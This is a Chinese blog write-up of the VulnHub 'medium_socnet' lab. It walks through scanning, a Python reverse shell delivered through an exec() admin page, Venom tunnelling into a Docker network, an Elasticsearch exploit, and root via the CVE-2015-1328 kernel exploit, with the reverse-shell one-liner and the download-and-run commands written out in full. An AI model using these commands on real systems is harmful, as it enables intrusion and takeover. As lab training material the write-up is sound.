打靶记录——靶机medium_socnet

news2024/11/22 20:58:51

靶机下载地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
image.png

打靶过程

由于靶机和我的Kali都处于同一个网段,所以使用arpscan二次发现技术来识别目标主机的IP地址

arpscan -l

image.png
除了192.168.174.133,其他IP都是我VMware虚拟机正常运行会使用到的IP
那么拿到IP之后,对IP进行全端口的扫描,看看有哪些端口开起了,有哪些服务存在

nmap -p- 192.168.174.133

image.png
再进行一下服务版本的探测

nmap -p22,5000 -sV 192.168.174.133

image.png


在 nmap 中,-sV 参数是用来进行服务版本检测的。当你使用 -sV 参数扫描目标主机时,nmap 会尝试探测主机上运行的各种服务及其版本信息。这对于识别目标系统中运行的具体服务版本是非常有用的,可以帮助确定是否存在已知的漏洞或安全问题。

使用 -sV 的主要功能和工作原理:

  1. 服务版本检测
    • nmap 使用 -sV 参数时,会发送特定的探测请求到目标主机的开放端口,通过分析目标主机对请求的响应来判断具体的服务及其版本信息。
  2. 精准信息
    • 相比于仅仅检测端口是否开放(使用 -sS 或 -sT 等参数进行端口扫描),-sV 参数能够提供更详细和精准的信息,包括服务的具体版本号。
  3. 识别漏洞
    • 通过得知具体的服务版本号,可以帮助安全专家或管理员快速判断服务是否存在已知漏洞或安全问题,进而采取相应的安全措施或修复措施。
  4. 使用示例
    • 基本用法:nmap -sV
    • 指定端口范围:nmap -sV -p
    • 针对多个目标:nmap -sV …
  5. 注意事项
    • -sV 参数会增加扫描时间和网络流量,因为它需要发送多个探测请求并等待响应。对于大型网络或复杂的目标系统,可能需要更多时间来完成扫描。
    • 某些防火墙或入侵检测系统可能会检测到 nmap 的服务版本检测行为,并采取防御措施。

总之,-sV 参数使得 nmap 在扫描过程中可以提供更多有关目标主机上服务的详细信息,有助于评估系统的安全性和配置状态。


发现Ubantu和python
既然是Http服务,那么我们就访问一个Web界面
image.png
没有发现有注入点,那么我们尝试一下目录扫描

dirsearch -u "http://192.168.174.133:5000/"

image.png
发现了后台地址,发现可以进行代码执行,放到exec()函数中执行的
image.png
那么我们可以进行一个反弹shell,利用python
先在kali中监听端口

nc -lvvnp 6666

然后在网站中执行反弹shell的代码
image.png

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

成功反弹shell
image.png
但是发现可能是在docker容器里面的,因为有Dockerfile文件存在。
如果还不确定是否是docker容器,有两个方法
1、查看根目录下是否存在 .dockerenv 这个文件

 ls /.dockerenv

image.png
如果存在 .dockerenv 这个文件,那么90%说明这就是docker系统
2、查看 /proc/1/cgroup

cat /proc/1/cgroup

image.png
如果出现这些内容,那么100%是一个docker容器
因为Linux系统启动之后,1这个PID就代表着这个系统上的初始化进程的ID,当初始化ID的cgroup文件包含着明确的docker镜像主机的这些信息的话,那就100%是一个docker容器

那么先查看一下当前的docker的IP地址
image.png

172.17.0.3/16

那我们把docker当成内网,然后把内网网段的每一个IP都ping一遍,看看有没有回包
用一个脚本来测试

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

这段代码是一个简单的 Bash 脚本,用于循环执行 ping 命令,以便对一组 IP 地址进行测试。让我们逐步解释这段代码的每个部分:

  1. for 循环
bashfor i in $(seq 1 10);
  • for i in … 表示开始一个循环,其中 i 是循环变量。
  • ( s e q 110 ) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq 1 10) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq110)是一个命令替换,它生成从110的整数序列。因此,i 将会依次取值 1 到 10。
  1. ping 命令
bashping -c 1 172.17.0.$i;
  • ping 命令用于向指定的主机发送 ICMP 回显请求,以测试主机的可达性和响应时间。
  • -c 1 参数表示发送一个 ICMP 请求,即每个主机只发送一个请求。
  • 172.17.0.$i 是一个带有变量的 IP 地址,其中 $i 是 for 循环中的当前值,用来替换为具体的 IP 地址,如 172.17.0.1 到 172.17.0.10。
  1. 循环体
    • 整个 for 循环的主体是 ping -c 1 172.17.0.$i;,这意味着会对序列中的每个 IP 地址执行一次 ping 操作。

执行过程:

  • 当脚本执行时,$i 会依次取值 1 到 10。
  • 对于每个循环迭代,ping 命令会发送一个 ICMP 请求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
  • 如果目标主机响应,则输出显示主机的响应时间和状态信息;如果没有响应,则显示主机不可达或超时的信息。

注意事项:

  • 权限:执行 ping 命令通常需要足够的权限,通常是 root 或者具有相应网络权限的用户。
  • 网络设置:确保你的网络设置允许 ICMP 请求,否则 ping 命令可能无法正常工作。
  • 循环范围:代码中使用的 IP 地址范围和具体地址可能会根据实际情况和网络配置而变化。

这段代码适合于快速测试一组 IP 地址是否可达,并获得它们的基本网络信息。


image.png
发现三个IP回包了

接下来要使用内网穿透技术,把我的Kali到它内网的这个路由给打通
推荐使用Venom v1.1.0,下载地址https://github.com/Dliv3/Venom/releases
image.png
下载后放到Kali中解压
image.png
我们现在要做的是把客户端程序,先传输拷贝到目标系统上,然后再通过Kali
上的服务器端程序,在他们之间建立一条隧道
那么现在Kali中开启服务端,监听9999端口,等待容器系统和我的Kali建立反弹的连接
image.png
然后目标服务器需要下载我的客户端程序
我先通过python开启一个http服务,然后让目标服务器直接通过Wegt来下载客户端程序

python3 -m http.server 80

image.png
然后再目标服务器上执行命令

wget http://192.168.174.128/agent_linux_x64

image.png

chmod +x agent_linux_x64    //赋予执行权限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999      // 连接Kali

image.png
Kali发现了一个已连接的节点

goto 1
socks 1080    //启动socks代理

image.png
为了让Kali上的所用工具都可以通过代理去扫描内网的所有网段的话,那必须使用另外一个工具 proxychains4 ,可以挂载我们当前的代理

vim /etc/proxychains4.conf

image.png
Nmap扫描一下端口,当然前提是要挂上proxychains

proxychains nmap -Pn -sT 172.17.0.1
  1. -Pn 参数
    • -Pn 参数告诉 nmap 不要进行主机发现(即不要进行Ping测试),而是假设目标主机是活跃的。这是一种绕过目标主机可能配置的防火墙或过滤规则的方法,因为有些网络设备会屏蔽 Ping 请求。
  2. -sT 参数
    • -sT 参数指定了使用 TCP 连接扫描(也称为全连接扫描)。在 TCP 连接扫描中,nmap 会尝试建立一个完全的 TCP 连接,以判断目标端口的状态(开放、关闭、过滤)。

image.png
再看一下版本

proxychains nmap -Pn -sT -sV 172.17.0.1

proxychains 是一个工具,它允许用户将其他命令通过代理服务器执行,而不是直接连接到目标主机。

  • proxychains 是一个用于代理网络连接的工具。它能够劫持其他命令的网络连接,将其通过配置好的代理服务器转发出去,从而达到隐藏真实 IP 地址或绕过网络防火墙的目的。

image.png
发现就是我们原来的那台,只不过172.17.0.1是面向内网容器的IP
那么我们再扫描一下172.17.0.2这个IP

proxychains nmap -Pn -sT -sV 172.17.0.2

image.png
发现是Elasticsearch,我们可以利用一下漏洞

searchsploit Elasticsearch

image.png
那我们把漏洞利用代码复制到当前目录上查看一下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

发现是Python2的
image.png
提示需要加上 target 参数
image.png

proxychains python2 36337.py 172.17.0.2

image.png

解密密码https://www.somd5.com/
image.png
SSH登录

proxychains ssh john@172.17.0.1

image.png
看一下内核
image.png

searchsploit Linux 3.13.0 Ubuntu

看一下可利用的漏洞
image.png
先弄下来看看代码

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image.png
发现需要gcc来编译,但是目标靶机上面没有gcc
先找到二进制共享库文件ofs-lib.so

locate ofs-lib.so

image.png
然后我们直接在Kali什么编译好之后再发过去,然后将这段代码给注释掉
image.png

gcc -o exp 37292.c

有报错但是不影响
image.png
然后把ofs-lib.so文件也拷贝过来

/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

image.png
开启Http服务

python3 -m http.server 80

image.png

john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so

image.png
下载完成后将他们放到/tmp临时目录下,这个目录权限大一点
前面也有说在/tmp目录下调用,这样可以减少报错
image.png

mv * /tmp

image.png

chmod +x exp
./exp

image.png
获得root权限!

总结

  1. 先进行主机发现,然后针对发现的主机进行端口扫描以及服务的扫描
  2. 扫描完之后发现靶机在5000端口的一个Web应用,尝试访问Web应用
  3. 在Web应用下,我们未获得已知漏洞
  4. 通过dirsearch在5000端口发现了后台路径
  5. 在后台地址发现了远程代码执行漏洞,利用这个漏洞,获取到了一个目标系统的反弹shell
  6. 获得shell之后,发现自己被困在一个docker的容器系统里面,基于容器系统,对内网的IP地址段进行发现
  7. 识别除了两个内网主机中的IP地址,一个是172.17.0.1,一个是172.17.0.2
  8. 然后挂上代理进行内网穿透,对这两个地址进行了全端口的扫描,在扫描过程中发现0.2地址上面开启了9200端口
  9. 而9200端口是Elasticsearch默认的服务监听端口,所以尝试对Elasticsearch进行漏洞的利用和攻击,结果成功拿下了172.17.0.2这台主机
  10. 在这台主机里继续进行信息收集,我们发现了一个password的文件,在里面收获了john这个账号的密码,密码是需要进行破解的
  11. 拿到账号密码之后尝试对内网所有开启22端口的主机进行登录,最终成功登录目标的靶机系统
  12. 登录后没有root权限,需要进行本地提权
  13. 发现是比较老的操作系统,内核版本比较老,所以使用针对内核漏洞进行提权的代码
  14. 但是漏洞利用代码又没有办法在目标系统上进行GCC的编译,所以不得不修改代码重新编译
  15. 把编译之后的漏洞利用代码和二进制的库文件一起传输到目标服务器上
  16. 最终在目标服务器上成功利用漏洞进行本地提权,拿到root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1877346.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

amis源码 更新组件数据域的几种方法

更新组件数据域的几种方法: 默认都是合并数据,非覆盖(指定replace为true的才是覆盖): const comp amisScoped.getComponentById(id);//或者getComponentByName(name) 1.comp.setData(values, replace); //更新多个值values, r…

wget之Win11中安装及使用

wget之Win11中安装及使用 文章目录 wget之Win11中安装及使用1. 下载2. 安装3. 配置环境变量4. 查看及使用1. 查看版本2. 帮助命令3. 基本使用 1. 下载 下载地址:https://eternallybored.org/misc/wget 选择对应的版本进行下载即可 2. 安装 将下载后的wget-1.21.4-w…

Rpc服务的提供方(Rpcprovider)的调用流程

首先,服务的提供方,会通过rpcprovider向rpc服务方注册rpc服务对象和服务方法, 那么,我们通过protobuf提供的抽象层的service和method,将服务对象和它所对应的服务方法记录在map表中, 当它启动以后&#xff…

Java--常用类APl(复习总结)

前言: Java是一种强大而灵活的编程语言,具有广泛的应用范围,从桌面应用程序到企业级应用程序都能够使用Java进行开发。在Java的编程过程中,使用标准类库是非常重要的,因为标准类库提供了丰富的类和API,可以简化开发过…

电影APP——项目建议书参考

项目建议书 1. 前言1.1 实现目标1.2 项目应用范围1.3 项目名称 2. 概述2.1 国内外发展综述2.2 拟解决的问题2.2.1 业务问题2.2.2 技术需求 2.3 系统环境需求2.3.1 网络需求描述2.3.2 业务需求描述2.3.3 运行环境/用户描述 2.4 功能建议2.4.1应用场景描述2.4.2功能划分/功能模型…

Leetcode[反转链表]

LCR 024. 反转链表 给定单链表的头节点 head ,请反转链表,并返回反转后的链表的头节点。 示例 1: 输入:head [1,2,3,4,5] 输出:[5,4,3,2,1]示例 2: 输入:head [1,2] 输出:[2,1]示…

windographer数据操作教程

目录 通道设置将4个windographer文件拼到一起映射关系通道设置 先把风速列选中,将Type改为 wind speed 无需额外操作,确认一下即可

Linux(Ubuntu20.04)系统中安装deb软件包错误(依赖关系问题-仍未被配置)解决的办法

在Ubuntu16.04下采用如下dpkg命令安装deb软件安装包时: sudo dpkg -i XXXX.deb 发生安装失败,返回信息为"正处理时有错误发生",并且在安装过程中出现"依赖关系问题-仍未被配置"的提示&#xff0…

【机器学习300问】136、C4.5虽然改善了ID3决策树算法的部分缺点,但还是有不足,请问还有更好的算法吗?CART算法构建决策树

一、C4.5算法仍存在的不足 (1)计算效率不高 C4.5使用的信息增益率计算涉及熵的对数计算,特别是当属性值数量大时,计算成本较高。 (2)处理连续数值属性不够高效 ID3算法只能处理离散属性,需要预…

一个CentOS“倒下去”,更多开源创新服务器操作系统站起来

“一切过往,皆为序章。” ——出自莎士比亚的戏剧《暴风雨》 CentOS 7将在2024年6月30日正式停更,这在某种程度上宣告了国外开源操作系统一个时代的结束。那么,这是不是必然意味着,一个属于我国自主创新的开源操作…

pg_rman:备份和恢复管理工具#postgresql培训

pg_rman 是 PostgreSQL 的在线备份和恢复工具。 pg_rman 项目的目标是提供一种与 pg_dump 一样简单的在线备份和 PITR 方法。此外,它还为每个数据库集群维护一个备份目录。用户只需一个命令即可维护包括存档日志在内的旧备份。 #PG培训#PG考试#postgresql考试#pos…

Java 基本数据类型【基础篇】

目录 Java 数据类型基本数据类型整数类型【byte、short、int、long】浮点类型【float、double】布尔类型【boolean】字符类型【char】 引用数据类型 Java 数据类型 Java 语言支持的数据类型分为两种:基本数据类型 和 引用数据类型。其数据类型结构如下图所示&#x…

python-20-零基础自学python-用类和while设计一个掷多次、多面骰子的工具的基础

学习内容:《python编程:从入门到实践》第二版 知识点:类、random、while循环、把while循环和类结合起来 练习内容: 练习9-13:骰子 创建一个Die类,它包含一个名为sides的属性,该属性的默认值…

【分布式计算框架 MapReduce】MapReduce 初级编程

目录 一、MapReduce 示例程序的导入并运行测试 二、准备 4 个小文件(文件大小分别为 1.7M,5.1M,3.4M,6.8M) 1. 第一种情况,默认分片:不修改程序代码,直接使用 WordCount 源程序 2…

kali Linux基本命令(超全)_kali linux命令

一、系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件- (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性 hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 cat /proc/cpu…

【UE 网络】RPC远程过程调用 入门篇

目录 0 引言1 RPC基本概念1.1 定义1.2 分类 2 RPC的使用2.1 Client RPC2.2 Server RPC2.3 Multicast RPC 🙋‍♂️ 作者:海码007📜 专栏:UE虚幻引擎专栏💥 标题:【UE 网络】RPC远程过程调用 入门篇❣️ 寄语…

【JavaScript】JavaScript简介

希望文章能给到你启发和灵感~ 如果觉得文章对你有帮助的话,点赞 关注 收藏 支持一下博主吧~ 阅读指南 JavaScript入门(1)————JavaScript简介开篇说明一、什么是JavaScript二、JavaScript的使用2.1 开发工具的选择…

UE5材质之HLSL:深度

UE4/5的Custom节点:在VScode使用HLSL(新手入门用)_vscode写hlsl-CSDN博客 效果: 材质节点: 自定义节点代码: float3 rayStepViewDir*-1; float4 inputTexTexture2DSample(TexObject,TexObjectSampler,uv)…

yolov8obb角度预测原理解析

预测头 ultralytics/nn/modules/head.py class OBB(Detect):"""YOLOv8 OBB detection head for detection with rotation models."""def __init__(self, nc80, ne1, ch()):"""Initialize OBB with number of classes nc and la…

(笔记)Error: qemu-virgl: Failed to download resource “qemu-virgl--test-image“解决方法

错误: > Downloading https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/distributions/1.2/FD12FLOPPY.zip curl: (22) The requested URL returned error: 404Error: qemu-virgl: Failed to download resource "qemu-virgl--test-image" D…